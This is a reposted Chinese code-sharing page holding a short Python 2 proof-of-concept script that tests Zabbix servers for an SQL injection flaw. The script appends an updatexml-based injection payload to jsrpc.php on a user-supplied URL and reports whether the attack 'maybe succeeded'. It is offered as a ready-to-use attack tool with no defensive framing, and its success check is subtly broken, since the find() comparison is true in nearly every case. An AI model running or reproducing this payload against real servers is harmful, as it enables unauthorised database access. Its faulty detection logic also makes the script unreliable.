码迷,mamicode.com
首页 > 数据库 > 详细

zabbix(sql注入判断脚本)

时间:2016-08-18 13:02:14      阅读:260      评论:0      收藏:0      [点我收藏+]

标签:

zabbix(sql注入判断脚本)

#-*-coding:utf-8-*-
# code by anyun.org
import urllib
import re

def getHtml(url):
    page = urllib.urlopen(url)
    html = page.read()
    html = html.replace(‘\n‘, ‘‘)
    html = html.replace(‘       ‘, ‘ ‘)
    html = html.replace(‘   ‘, ‘‘)
    html = html.replace(‘   ‘, ‘‘)
    return html

url =raw_input(‘enter url:‘)
poc=‘jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17‘
new_url=url+poc
try:
	if getHtml(new_url).find(‘flickerfreescreen‘)<>0:
		print ‘maybe successeed‘
	else:
		print ‘maybe unsuccessed‘
except:
	print ‘http error?‘

  

zabbix(sql注入判断脚本)

标签:

原文地址:http://www.cnblogs.com/crac/p/5783479.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!